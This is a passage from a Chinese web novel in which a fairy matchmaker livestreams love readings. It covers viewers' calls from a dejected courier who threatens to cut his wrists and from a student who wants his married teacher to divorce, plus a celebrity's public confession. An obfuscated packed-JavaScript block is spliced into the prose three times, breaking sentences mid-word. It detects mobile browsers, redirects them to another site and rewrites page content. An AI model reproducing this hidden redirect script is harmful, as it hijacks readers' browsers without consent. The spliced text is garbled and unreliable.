文隽似乎松了口气:“是的,就是这样。” 他补充道:“而且我很快便回天庭了,在这里逗留不了多久,仙子不用为我分神。” 莺芝:“可你帮了我这么多,我若不做些什么,也说不过去呀。” “……那这样,你把给那个算卦的红绳给我一根,便作抵了吧。” 红绳? 这倒好说,她下来时带了很多。 莺芝想了想,从荷包里取出一根递过去:“需要我帮你查看一下是否正缘,或帮你系给心仪的仙子吗?” 红绳的效用,正如她跟那个算卦的中年男人所说——带在身上,能增强“缘”。 但说到底,它只是一个媒介,效用也就这么点。 若想真正让它成为“月老”的姻缘红线,还得让姻缘仙来使用才行。 故而在赠出红绳给这位帮助自己良多的同僚时,莺芝很贴心地提了建议。 文隽把红绳塞入衣兜,又是连连摆手:“不必不必,我尚且没有心仪之人,仙子快回去吧,夜深了。” “好吧。” 莺芝有点小小的遗憾。 给神仙定缘,一桩顶凡间好多呢。 不过既然对方说不要,那也不好强求。 两人就此在店门口分道扬镳,各自回了各自的落脚处。 洗漱收拾,莺芝像个寻常凡人般,带着红线小人一起进入了休眠。 一夜无眠。 第二天,莺芝早早起了床。 更换了从荷包中储物空间取出的新衣裙,她带上红线小人下楼,吃过早餐,又去了庙中。 在月老像附近休憩调整了半天,将自身状态恢复到最佳,莺芝回到了落脚处。 提前买了餐食,卡好时间用完饭,倒计时不到一刻钟时,她已经一切完备地坐到了沙发上。 今天是她的第二次直播,也是马上解封的时刻。 希望就在前方——! 主播:【AA红线小莺】开启了直播。 直播间:【职业月老,在线定缘】 详情:【千里姻缘一线牵,没准落到你身边——免费定缘,缘定三生~走过路过不要错过了诶!】 【一只浪迹瓜田的猹:来了来了来了,我来了!!】 【骂谁二次元呢:终于等到你还好我没放弃~~小莺姐姐-3-】 【你到底说不说:可算给我等到了,昨天直播间突然没了吓我一跳,还以为主播不敢再开了!】 【[晚间生物]送出应援棒x99】 【[晚间生物]送出糖果礼盒x52】 …… 【[晚间生物]送出珠光宝玉x5】 【[晚间生物]送出盛世焰火x2】 【晚间生物:不管了,先把粉丝榜前三的位置坐定了再说】 【什么情况,一进来就有大哥刷榜?】 【看切片我就觉得主播长得不一般,亲眼一看果然不一般,美到我心里了!】 【我只想知道,任柏承那事到底真的假的,谁能说说啊啊啊】 【造谣司马,主播你良心不会疼吗?!】 【公屏的癫人举报了,不谢( ̄_, ̄ )】 【任柏承怎么样与我无瓜,我就是想来看算卦的】 …… 刚一开播,直播间里跳出的提示和消息就快要把屏幕卡住,和昨天的冷清是完全不同的光景。 莺芝心中欣喜,脸上带着营业的微笑:“大家好,欢迎来到直播间……” 【臻爱至上:主播,我想算姻缘,可以吗?】 【臻爱至上:主播,你要是不给我算,我就要割腕了。】 11. 第 11 章 直播间刚开启,在线人数四位数,那两行消息没有特别送礼物后的加亮加粗醒目特效,一经发出,很快就淹没在了山海般快速刷过的一条条弹幕中。 照理来说,这种迅速被盖过去的内容,不会被多少人注意到。 但架不住那人一遍又一遍地重复发送,普普通通的消息框,愣是刷出了有特效加持的效果。 【……啥玩意?】 【不给算就割腕?这人在搞抽象还是真抽象啊。】 【我也在等今天的卦,但是不带这么抢名额的吧,耍赖就能行那我也耍】 【小丑一个,威胁谁呢,你去割吧,主播不给你算就成害你的元凶了?】 …… 很明显,这等不仅影响大家讨论昨天的瓜,还严重妨碍了直播间氛围的行径引起了多数观众的不满。 一阵接一阵的声讨越发热烈,那人却好像没看到似的,仍旧自顾自地刷着那两条重复的消息。 【臻爱至上:主播,我想算姻缘,可以吗?】 【臻爱至上:主播,你要是不给我算,我就要割腕了。】 【臻爱至上:主播,我想算姻缘,可以吗?】 【臻爱至上:主播,你要是不给我算,我就要割腕了。】 …… 莺芝视线落在这些内容上,表情没有过多的变化。 微笑之下,她暗暗琢磨,是不是该把昨天晚上文隽提到过一句的“房管”相关给提上日程了。 还有这个“算卦”的报名,也要有一个正式的成文的流程才好。 “这位,臻爱至上——可以算,你是选择把信息单独发给我,还是也要连线?” 【这也行?!】 【早知道直接说就行,那我也直接说了啊啊啊】 【错过了第一,遗憾】 【我还是想听任柏承的事,他那边后续现在还没落定呢,主播不再聊聊了吗?】 【好耶,算卦!刚好我外卖到了,下饭走起~】 【有奖竞猜,这臻爱至上男的女的,我压一个应援棒,女!】 【想给主播送应援棒直说啊,拐弯抹角的——嘿嘿,我也凑个热闹,我压男】 …… 在莺芝回应“可以”后,那一直在反复出现的消息总算消停了下来。 臻爱至上没有立刻回话,似乎在犹豫,随后,他发了一条弹幕。 【臻爱至上:谢谢主播,……连线吧。】 莺芝颔首,给对方账号开启了权限,等对方的加入直播申请发过来后,予以了同意。 莺芝所在的直播画面像之前那样被缩小到了屏幕的一半,另外一半,则出现了新的面孔。 镜头离脸很近,但仍然能够看出他动作间露出的衣服,以及周围的零星场景。 那是一个男性。 一个似乎正蹲在地上的、穿黄色马甲,头发蓬乱,双眼青黑,带着些浓重倦色的男性。 【我去,外卖小哥啊!】 【咋这一副衰样啊,没睡够还是被投诉了?】 【人与人之间还是需要一些距离的,兄弟你的鼻孔攻击到我了,把手机拿远点行吗】 【他好不讲卫生,鼻毛都出来了,胡子也不知道剃一剃,已经闻到臭味了】 【结合刚刚他的发言和行为,他好像那种,和顾客起冲突了之后会往人家饭菜里放刀片和虫子的人……感觉好恐怖】 …… 【这个点正是点外卖的高峰期吧,你不去跑单,跑来抢什么名额】 【原来我的机会是被外卖小哥抢走了,气得我这就打开x团点了三份吃的】 【替骑手谢谢你,好人好心送单的清汤大老爷】 …… 纷杂的讨论中,莺芝稍微打量了一下对方的面庞及五官,旋即微笑着道:“把生辰八字,出生地,姓、名等发给我吧。” 隔着屏幕,即便能够看到对方的五官样貌,也难以如同真正面对面那样,准确无误地观测出对方的信息,毕竟电子屏幕会让人的五官面孔等有微妙的改变和失真。 为了保证结果的准确,莺芝还是选择让对方把资料都发来。 臻爱至上几乎要贴到镜头上的脸稍微远了一些,他“好”了一声,操作着手机,把相关信息发送到了莺芝的对话框中。 ——潘永福,男,十九岁。 出生于宁合乡…… 把生辰记下,莺芝提点缘笔在姻缘簿上写下八字,脑中过了一遍对方给出的其余信息以及对方的面孔,阖眼运起仙力。 片刻后,她睁开眼,看向屏幕上的对方。 “你想‘算’些什么?” 【不应该是先问要算什么再去算吗?这都算完了才问,是不是有点外行……】 【听说有算卦的隔空就推出了任柏承出轨的事,慕名来看看,怎么感觉我要失望了】 【啊,就闭闭眼就行了吗。不用扔个铜板抽个签卜一下六爻什么的吗】 …… 【我真没有QAQ:别急啊你们,看看再说呗,我觉得主播没准是把这人的姻缘相关全都算出来了,然后问对方想知道哪个呢?】 【骂谁二次元呢:真的假的,虽然我相信小莺姐姐,但是你说的这也太玄乎了……】 【一只浪迹瓜田的猹:我端好碗了,新瓜来,新瓜四面八方来!】 …… 屏幕前,臻爱至上把着手机,不知道是不是也有点怀疑起了这个主播的实力,鼻翼翕动了一下。 连线后,他倒没有之前刷弹幕时给人的极端感了,有点钝钝的:“我想算,她是不是真的爱我……我们到底还有没有可能……” 莺芝没有插嘴,因为对方看起来还有话想说。 “我十六岁和她在一起,一直到现在,四年了,但……我觉得我好像越来越看不懂她的心意了。就在前几天,我们分手了……分手…我做梦也想不到,这件事会出现在我的身上……” 【不是兄弟你等会??夺少岁在一起?过去几年了?你夺少岁?夺少??】 【他竟然才十九岁吗……我还以为是个四十岁的大叔。。好沧桑啊】 【我差点把手机掉麻辣烫里,不到二十的人,怎么把自己弄成这样的,也太邋遢太寒碜了吧】 【我弟就十九,代入一下,受不了了,我弟要是把自己混成这样我高低给他脑壳锤爆】 …… “她是否真的爱你,你们是否还有以后,你是要问这些,对吗?” “……对,就这些。”臻爱至上声音低而哑,像是好久没喝水,又像是喊了太久累了嗓子,“如果你能算出来的话……” “可以。” 莺芝点点头,把对方想要得知的内容一一告知: “忽略她曾经对你是否是真爱的前提,现如今,她对你已经没有了感情,你们两人的缘线会越分越远,再无交汇。” 臻爱至上的镜头赫然发生了剧烈的晃动,似乎是他从蹲着的姿势变成了站立,声音也霍然拔高:“——怎么可能?!” 一声过后,似乎意识到自己的态度有点过了,他又陡然压低了声音,恍似喃喃:“……你到底,会不会算啊。” “事实正是如此。”莺芝没有被指责的愤怒,依旧笑容淡淡,温声说道,“你们没有以后。” “怎么可能……” 臻爱至上镜头又晃了几晃,不知道他是在踱步还是踉跄了几步,只有声音透过网络传进了直播间,“她之前明明那么爱我…那么依赖我……这才几天过去,就……可我真的好爱她……” 莺芝笑容淡淡,一双乌眸清泠平静:“过往不代表如今,而且,你非她正缘。” 【我嗅到了苦情戏的气味】 【也就是说,男的来问和几天前分手的前女友还有没有可能,前女友是不是真的爱他,得到的结果是,前女友不爱了,俩人也不可能了。】 【几天前分手的,现在就完全没感情了,我有个不好的猜测……】 【我男朋友要把自己弄成这样我也分手,饭都吃不下】 【有谁注意到了主播说的‘你不是她的正缘’,感觉说法有点微妙啊】 …… 【履行摸鱼职责:想听故事啊,小莺姐姐,给他个机会,让他讲讲他的故事呗!】 【晚间生物:+1】 【骂谁二次元呢:+1】 …… 臻爱至上似乎也注意到了这些起哄的网友们,又是一段剧烈的晃动后,镜头重新稳定,他坐到了地上,眼皮耷拉:“我……” 看清了观众们的要求,莺芝没有出言制止臻爱至上,由着他继续往下说。 “我……没什么好说的。”臻爱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15189091|165519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 至上轻轻地抽了一口气,马上要贴到屏幕上的鼻子耸动了一下,“……没什么好说的。” 又重复了遍前一句话,他脑袋旁边的空隙映出周边的景象,身后马路上有车辆驶过,高速划过的车灯拉出阑珊的光带,斑驳耀眼。 似乎整理好了心情,臻爱至上勉强地勾起嘴角露出了个笑,“谢谢主播,我下了。” 说完,不给所有人反应的时间,属于他的视频窗口就消失不见。 【……???】 【他就这么走了??】 【好吧……好像也没谁规定一定上了麦就一定要把自己的事讲一下】 【总有种肚子疼死结果裤子都脱了便意又荡然无存的既视感,难受,难受啊】 【这一卦简直虎头蛇尾的……怎么想怎么不得劲】 …… 莺芝倒是不觉得有什么,这人的缘线基本走势她已经完全清楚,曾经如何,未来如何,她大概都能知道,没什么好奇的。 眼看观众们的情绪受到了一阵影响,抗议谴责着来放了个开头就溜了的小伙子,莺芝表情不变,再次开口。 “今日只能为大家做三次咨询,还剩下两次……” 以她刚刚再次实验过后的亲身体会估算得知,现在这被压制后的仙力,这样隔着屏幕观缘的话,每天也就只够完整地进行几次上下。 为了不出错,莺芝临时决定,把每天的次数做一个限制。 超出三次后,就有失误偏差的风险了。 【还剩两次要怎么选人,还是先说先得吗?那我我我我!!】 【我来我来,主播看我!】 【我送礼物了主播快抽我!】 …… 不知道是谁带的头,各种应援棒等小礼物很快刷了满屏。 弹幕上关于任柏承的内容和刚刚那位臻爱至上的消息不见少,又凭空多出了许多争论今天的“第二卦”该归属于谁的内容,一时间好不热闹。 要说所有在直播间的观众们都完全相信了莺芝的“算卦本事”,那倒也不尽然,但反正凑凑热闹,也不会损失什么——所以,到了这时候,很多潜水的也都出来冒泡,加入了讨论。 莺芝微微沉吟,给出了暂时的答案: “我开放连线,有意向、想要寻求帮助,或有想来咨询的大家,可以尝试加入连线——至于连线后是否要将自己的长相暴露,不做强制要求。” 也就是说,只要是想咨询,无论想不想拍到自己都可以抢,对于是不是本人出镜她都不管。 反正不出镜的话,要私下发给她照片就是了。 这也是莺芝能想到的,相对公平的办法。 她此话一出,弹幕风向又是一变,大家都跃跃欲试了起来。 大概解释了一下自己的意思以及抢到连线后的流程,莺芝笑着宣布:“我现在就将连线权限开……——你好,‘我的姐姐大人什么时候离婚’。” 【………………笑死我了笑死我了什么啊这ID!】 【脑补出一万字的爱恨情仇大戏了。】 【上一秒,没抢到名额想骂人,下一秒,被竞争对手名字震撼】 【好直白好大胆,看名字我都感觉已经猜到了接下来的故事走向,替姐姐来算的啊!】 …… 一分为二的屏幕上,一边是穿白裙挽发髻,含笑端坐的莺芝,另一边,则对准了一处桌面。 铺着粉色桌布的桌面上,繁多的物品被摆放得整整齐齐,笔记本电脑及外接的键盘都一尘不染,键帽都是粉紫色的猫咪,可爱异常。 一眼看去,整个画面便给人一种干净整洁的感觉。 随着莺芝的招呼声响起,一个声音也从画面外飘了进来:“啊,竟然是我抢到了……!” 两秒后,镜头调转,一张脸出现在了画面中。 那人留着一头利落的黑色短发,五官漂亮,隔着手机也能看出皮肤很好。说话间,眼眸中的欣喜和惊讶生动鲜明,极富感染力。 但,直播间的观众们却没有几个夸赞对方的外貌。 【……………………】 【??】 …… 【受不了了,把镜头转回去,我要看猫猫键盘,要看粉色桌子,不要看人】 【我服了,猫我都看了,正等美女呢,怎么是个男的?】 12. 第 12 章 “男的怎么了,也没人说男的不能喜欢粉色不能喜欢猫咪呀?” 出现在屏幕中的男生完全不在意网友们的讨论,低声念出几条嘲他的弹幕,笑得眼睛都眯了起来: “火气这么大,一看就没对象吧?也是呢,漂亮女性现在都不喜欢这么粗鲁又刻板的人了哎。” 【我x,这小子太欠扁了吧!】 【……tm,戳人痛脚天打雷劈啊】 【速算,速滚,不想再看到他】 【要算什么赶紧拿出来,主播,给他个坏结果让我们开心一下】 …… 对于这样做派的人,莺芝也颇觉新奇。 趁着对方刚亮相,和其余观众“友好交流”的时间,她不引人察觉地悄悄打量着对方的言行。 这位观众看着年纪不大,约莫有二十岁上下的样子——鹅黄底色的衬衫,被根尾端系有各色明艳珠子的链坠压着,手腕间缠着条彩色的绸巾。说话时也轻声细语的,应该是刻意调整过的,听起来轻柔和软,不含攻击性。 而随着他动作间,还能依稀看到,被鬓边稍微有一点点长的头发遮住一些的水红色耳钉。 ……和珍兽院的那些化了形的孔雀有点异曲同工之妙啊。莺芝悠悠地发散着。嗯、还有点像她没成仙时见过的那些雄性同类。 给够了他说话的时间,莺芝结束围观状态,再次出声打招呼,中断了他和其他观众们的对话:“你好,我的姐姐大人什么时候离婚’。” “你好呀,小莺姐姐。”男生眼睛弯弯地看向莺芝,丝毫没有被公开念羞耻ID的羞耻感,反而还有点光荣似地,稍微抬了抬下巴,“是我。” 【槽点太多不知道从哪里开始了】 【坐等他哭着下麦】 【桀桀桀,哥哥我啊,最喜欢看这种小弟弟碎一地呢,be快点的】 【不行,我不允许,弟弟好漂亮,好乖巧,喜欢,爱看!】 【弟弟,我觉得你的姐姐或许需要一个弟妹呢你意下如何】 …… “不会的,我的姐姐大人不需要弟妹。因为这个位置是留给她的。” 男生眉眼弯弯,一点也没有出现在大众面前被许多人看到的拘谨,始终坦坦荡荡的:“小莺姐姐,我想知道,我的姐姐什么时候离婚,我什么时候会有机会。” 【……】 【?】 【你的这个姐姐,她正经吗?她真的是亲姐吗?】 【我原先也以为是亲姐,但是看现在……不是吧,不能吧,肯定不是亲姐吧?】 【这要是亲姐,直播间就该没了吧】 …… 莺芝一僵。 又会危害到直播间?不要啊! 好在,男生很快补上了下一句,冲着镜头翻了个白眼:“想什么呢你们,当然不是亲姐姐啊。是我暗恋的一位优秀女性,她比我年长,当然要叫姐姐。” 莺芝不着痕迹松了口气。 还好还好。 弹幕观众们说得那么严重,吓到她了。 “把你的信息发给我。” 男生脸上露出两分犹豫:“我只知道她的生日和家乡,没有她详细的出生时间,也没有出生地……本来是打算最近去收集一下的,但是没想到今天就抢到了机会……能不能用我的来算?就像热搜上的那个,通过那个女生算出任柏承的那种。” 莺芝沉吟片刻,实话实说道:“如果你们在姻缘方面有深层次的纠缠,那是可以的。但如果只是你单方面的心意,她对你没有任何感情,看到的内容会很模糊。” “而且,”她顿了顿,语气严肃了一些,“若她与你没有太多干系、对你没有造成什么伤害,那关于她的事,我即便能看到,也不能透露太多。” “啊,应该的,保护隐私嘛,我知道!” 男生眨了眨眼,放下心来,操作起了手机。 他语气松快:“没关系,模糊也可以。我要知道的也不多,只要能知道她什么时候离婚就可以了。” 【爱上了有夫之妇……还盼着人家离婚,你是真没素质啊。】 【y1s1,真的太离谱了,还跑来算人家什么时候离婚】 【万一是真爱呢?感觉弟弟很喜欢姐姐啊。】 【这个年纪的喜欢能维持多久啊,而且退一万步,真的有这个必要吗?破坏人家家庭】 …… 阮晞,二十岁—— 等等……什么? 莺芝的视线扫过对话窗口中男生发来的信息,停留在了最后一条上。 在他的资料之后,男生还把他那位“姐姐大人”的姓名年龄生日,以及照片发了过来。 照片上,一位身穿深色西装套装的女性站在黑板前,正在说着什么。她黑发盘起,鼻梁上架着细框的银边眼镜,整个人自带一股典雅的书卷气息。 但,这都不是重点。 重点是—— 无论是从外表看,还是依照阮晞给出的出生年月来算,这名女性,年纪都在四十周岁以上。 虽然自己不是凡人,但莺芝并不是不了解,据她所知,当今的凡人们,能够产生感情的“年龄差”、尤其是女性为较大一方时,甚少有达到十岁的,更况论二十。 放在阮晞这位“姐姐大人”身上,若她是结婚早的,那几乎都可以和阮晞妈妈同龄了。 这,确实是很特立独行了。 莺芝又打量了一眼屏幕另一侧的阮晞。 对方也正关切地关注着她的一举一动,见她看来,双眼中期盼之色几欲溢出。 莺芝没有说话,她催动仙力,提起点缘笔在姻缘簿上书写下阮晞的信息。 闭上眼,莺芝回想着阮晞的面容和八字,在指尖红线的运转下,仔仔细细过了一遍他缘线之上所有与“姻缘”相关的缘。 而后,为确认所看到的内容,她挥去阮晞的八字信息,根据观测到的那位女性的信息,又一次闭上了眼睛。 【主播怎么不说话,看得我好紧张。】 【弟弟,你跟姐姐要是be了可千万别伤心啊,看看这里的姐姐!】 【属于我的漂亮小奶狗什么时候能天降?】 【别梦了,还梦呢,不是都说白幼瘦审美不行吗,怎么你们还这么喜欢白幼瘦的男的?】 【关你屁事自信丑男退散】 …… 期间,和莺芝平分了一半屏幕的阮晞没有再出声跟观众们互相挤兑,而是连呼吸都放轻了许多,目不转睛地看着莺芝,等待着她给出结果。 终于,莺芝睁开了眼。 她看向阮晞,微笑着启唇:“她不会离婚。” 所有人都看到,从出现在屏幕里就一直表现得泰然自若的男生突然僵住,脸上的笑容也直接凝固。 ——不会离婚,也就意味着阮晞的第二个问题的答案,是“无论什么时候,都没有机会”。 片刻后,满屏的幸灾乐祸和早知如此中,他有些急促地开口:“为什么?” 莺芝:? 这孩子问的什么话? 这还有什么为什么,夫妻感情和睦共到白头是一件需要问为什么的事吗,这不是再正常不过的么。 阮晞语速快了许多:“现在这个时代了,谁的婚姻能够维持一辈子啊,我可以等的啊,无论多久,我都能等的——小莺姐姐,你不要骗我,你告诉我,她什么时候会离婚?无论答案是多少年后,我都可以等。” 说着,他再次看着莺芝,眉宇间多了一丝恳切。 莺芝叹了口气,她摇了摇头,再次重复:“她不会离婚,她和她的丈夫很恩爱,家庭和睦。” “……”阮晞彻底沉默了下来。 几秒后,他再次扬起脑袋,在或嘲讽或啧啧的观众发言中,望向莺芝。 “小莺姐姐,你是行家,那,是不是也能帮帮我?就像很多算卦的说的那种,能给厄运加身的人改命,给灰暗的事业改运那种——给我、或者说她……改改缘?” 莺芝:“……” ? 毁人姻缘? 小伙子,你知不知道,要是换个之前的姻缘仙在这里,都要揍你了! 【我嘞个清汤大老爷啊,这哪里是什么奶狗弟弟,这是索命阎王啊】 【看上人家了但是人家家庭美满所以就想办法拆散?太离谱了吧……不怕被骂吗】 【放娱乐圈或者那些有钱人圈子里,这种事都还得藏着掖着呢,这小东西也真敢说啊】 …… “你们这行,既然能拉媒牵线,就肯定有方法断掉一段缘分的,对不对,小莺姐姐?”阮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15189092|165519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晞却像是抓住了什么稻草,忙又追补道。 莺芝默了又默,终于压下了蓬勃的说教欲。 她看向阮晞,笑容落了许多,乌黑的眸子深邃而幽宁: “断缘,是断掉孽缘和不该有的缘。本就圆满的缘,禁止以外道破坏,这会背上巨大的因果——” “可……” “——另外,我还有些话要和你说。” 莺芝打断了阮晞,刚刚观缘时看到的内容在脑中又过了一遍,她眸光幽深,继续说道,“那位女性,她与你是有缘分不假,但,只有一段短暂的师徒缘分,没有姻缘。” “我观她生平,家庭幸福,事业有成,婚姻美满,是顺遂无忧——若你真的对她有真情,便更不该破坏这份圆满。” 她语气严肃,再次重申了一遍:“你的心意如何,终归是一厢情愿。无论怎样,‘改缘’的念头绝不能有。这对人对己都没有好处。” 阮晞愣住。 似乎被她这一大通话砸懵,他喃喃:“我没说她是我导师啊……” 【……我嘞个清汤大老爷啊!这哪里是什么奶狗弟弟,这是真真正正的索命阎王啊!】 【YY自己的老师,还盼着人家离婚,我去,nb】 【你猜猜你老师要是知道你喜欢她,她是会想死呢还是会想死呢还是会想死呢】 【谢邀,我是老师,代入感极强。这是上天派来惩罚我小时候偷我妈钱买零食的吗?】 【但凡换个角度,这件事就已经热搜见了。。一起来的绝对还有给那个可怜老师的处罚公示】 …… 后知后觉意识到自己刚刚说了什么,阮晞脸色一白,顾不上其他许多,镜头彻底黑了下来。 “——这种学生,就该送去给雷公当学生。老师脾气好点就不知道自己是什么身份了。” 堆满书文的案桌间,一道声音啧啧响起。 文隽一个激灵,侧头看去,一个怀抱书卷身着长袍的女子正站在他身后,探头看着他掩在摞起书文后的手机屏幕。 见他回头,那女子咧嘴一笑,单手伸出大拇指划过脖颈,做了个威胁的手势:“我寻思你怎么这么安静,原来是在悄悄偷懒,谁家一殿副主这样啊?” 不等对方回话,她英气的眉挑起,睼了一眼那明显是被遮起来刷的手机,“又偷偷翻了壁障,刷凡间的网络了?你的功德是真够多啊,敢这么挥霍。” 被抓了个现行,文隽咳嗽了一声,状似无事发生般把手机往怀里又放了放:“公文太多了,要劳逸结合——文桐,你今日的祈愿处理完了?” 被他叫做文桐的仙子翻了个白眼,全当没听见他的话,自顾自道:“那女主播还挺好看啊,我听她说什么观缘的,搞玄学的?” ……这就是对彼此太熟悉的坏处,想转移话题赶人走都不容易。文隽心中叹气,也不再遮掩,把手机重新架好。 小小的屏幕里,白裙的女性正严肃地纠正着旁边男孩的想法,文隽摇了摇头:“……不是,她是姻缘殿的仙子。” “姻缘殿的下凡搞直播了?”文桐惊讶,“去下边做这种事,吃力不讨好,图个什么?” 似乎想到什么,文隽有点无奈地笑了一声:“……可能是图业绩吧。” 文桐双眼圆睁,表情有些惊悚地看向文隽。 文隽点头。 文桐肃然起敬:“好伟大的神仙。” 她彻底不奇怪为什么文隽会在想摸鱼的时候挂到对方直播间了,是她她也想凑凑热闹。 在自己工作累了的时候,看看对工作干劲满满的——谁说不是一种鸡汤呢? 不过…… “还是你自己看吧,我怕被同化成为工作狂。”拍了拍文隽肩膀,文桐唏嘘着走远。 不速之客终于走远,文隽摇摇头,重新把视线放到了屏幕上。 他只是突然留意到时间,想起这个自己没少出力的直播间是不是该解封了,就挂了能够翻越壁障寻觅到低处“信号”的天庭软件,看看对方现在是什么情况。 但是…… 咳,这直播还挺有意思的,跟他总爱听的那些说书的一样精彩。 手机前,莺芝看着阮晞匆忙退出连线,叹了口气。 “今天还有一位咨询的名额,我现在开放权限——” 13. 第 13 章 第三次的“卦”算完,莺芝没有过多拖延,简单做了结束语后,就关闭了直播间。 今天的三次观缘外,还多了一次给阮晞那位老师的简单观算,莺芝仙力基本已经消耗殆尽,实在无法再支撑。 草草洗漱收拾了一下,她一头栽进被子,睡了过去。 翌日一大早,莺芝仍然有些萎靡,她在楼下买了点早餐应付,而后又马不停蹄赶去了庙中。 直到在月老像附近找了处长椅坐下,她才微微松了口气。 缕缕香火和祈愿之力汇聚成的无形灵力如同小溪,缓慢且均匀地向着莺芝所在的方向飘来,她委顿的精神渐渐抖擞,脸色也红润了起来。 ——香火真好啊! 感受着回转的状态,莺芝没有立刻离开这里的想法,打算赖在这里消磨时间,直到直播快开始再回去。 挑了个舒适的坐姿,她拿出手机,点开文隽提到过的“许多人在用”的社交软件。 账号是前天临时注册的,ID也没什么新意,和直播软件ID同名,就叫“AA红线小莺”。 除了注册账号那次,这还是她头一次打开这软件。 五花八门的消息铺天盖地,内容也是杂七杂八,莺芝一时有些眼花缭乱,不知道看哪些才好。 好在软件的界面做的还算基础,并不会让新手觉得功能太多太繁杂。莺芝左右点点,漫无目的地翻阅着。 凡间人们的吃穿住行,生活里的点点滴滴……——嗯? 莺芝目光一顿,停在了一条内容上。 ——一个平平无奇的id:#放过老师吧##活成了家长放心的样子#(/墨镜)是的我是老师,我的生活已经很苦了,没想到学生想的是让我更苦,毕业后才知道上学时候不理解受众是谁的丑衣服们原来都是卖给我们的。我只想说,这辈子最怕听到的一句话之一就是:老师我喜欢你。 这……怎么觉得有点熟悉啊。 思索间,莺芝循着本能,指尖戳向这条消息最前端的两个蓝色字组之一。 #放过老师吧# 屏幕上的页面倏地一变,随后,莺芝双眼微微睁大。 高居第一条的那条动态配了段短短的视频,随着她点进来,视屏自动播放起来,传出的声音,赫然是她的声音。 “……只有短暂的师徒缘分……不该破坏这份圆满……” 莺芝:“……” 什么情况。 再往下滑,一连多条,全都是相关的内容和讨论。 什么师生,姐弟,插足,破坏,单恋等等等等,还有在挖“我的姐姐大人什么时候离婚”以及“姐姐大人”的真实身份的。 毫无疑问,这个所谓的“#放过老师吧#”,在讨论的事就是她昨晚的直播,阮晞的那一段。 莺芝讶然的同时,又难免有些庆幸。 还好,还好她昨晚从头至尾都没有提到那位女性的姓氏,也没有提到她更多的信息,即便这些人能够从阮晞的长相判断出他的真实身份,从而找到他所在的学校,也难以从线下把那位被殃及牵扯进来的无辜老师身份给彻底扒出。 “凡人的‘网络’还真是厉害啊……” 莺芝不由地心生感慨。 昨晚才发生的事,同时在观看的也就只有万余人,结果这转眼就被更多人关注到了。 这么想着,她脑中蓦地灵光一闪——难道这就是他们提过的“热搜见”的软件? 退出词条,莺芝有目的地翻翻找找,终于找到了传说中的热搜榜单。 被她一眼注意到的,赫然是带有“任柏承”的相关词条。 #任柏承承认隐婚# #任柏承妻子出面道歉# #任柏承说自己快当爸爸了# …… 其中,#任柏承退团#毫无意外位于榜首,后边还跟了个火热的“hot”标识。 任天博他公开承认婚姻了吗,昨晚直播时没有听观众们说呀……难道是今天才发生的? 莺芝点进最上方的词条。 一条由顶着团名以及“任柏承”综合ID的用户、在一个小时前发布的动态位于首位。 【大家好,对不起。】 其下附带有一张图片,图片白底黑字,印刷体清晰。 【我是任柏承,在这里对一直以来支持我的粉丝们说声抱歉。 对不起,我辜负了你们的信任和支持,我欺骗了你们。 我和我的太太在幼年相识,一直陪伴彼此。在接触到偶像行业后,我瞒着家里休学去做了练习生,我的太太也是知道的,她支持我,陪伴我。所以,哪怕我出道了,要一直走这条路了,我也想要给她一个安稳的结果,所以我瞒着公司和所有人,在我到达法定结婚年龄后,就和她领了证。对此,我并不后悔。 我知道,作为一名偶像,单身是基本的要求,公司也明确告知过我,但我难以舍弃我的太太,也难以舍弃一直热爱的偶像事业,所以欺骗了公司,欺骗了大家,一直过去了这么多年。 我的太太一直能够理解我。但现在,她怀孕了,我马上要做爸爸了,我想,也是时候公开了。我不想让我的孩子也和我的太太一样,生活在见不得光的阴影下,明明他们是名正言顺的。我知道,我必须要在家庭和事业中做出取舍了。 在这里,我要向粉丝们,向公司,向所有人说一声对不起,很抱歉,因为我的任性和不成熟,让这份谎言持续了这么久。很抱歉,因为我的私心,让大家承受了不该承受的伤害和损失。 从今天起,我将退出团队,回归幕后,回归家庭。 对不起,谢谢。 ——任柏承。】 莺芝从头浏览到最后,微微挑了挑眉。 ……这任天博,是一点也没有提崔梦语的事情啊。 承认结婚,把所有的错归到“热爱偶像行业”和“不想辜负妻子”上,塑造出了一个痴情的,负责的,无奈的男性形象。 从崔梦语算卦到现在,三天了,这件事来来回回闹了三天了,他那一方一开始的应对举措是,给她警告,给崔梦语警告,并拒不承认。 不知道是不是这两天里发生了什么,比如崔梦语拿出了什么新的资料,或者他们私下里沟通、但崔梦语寸步不让,所以他不得不选择弃车保帅,后退一步以亡羊补牢及时止损……又或者是真的如他所说,他的妻子怀孕了,他并不想妻子受到太大的影响——
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15189093|165519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 所以,他不得不做出了这样的决定。 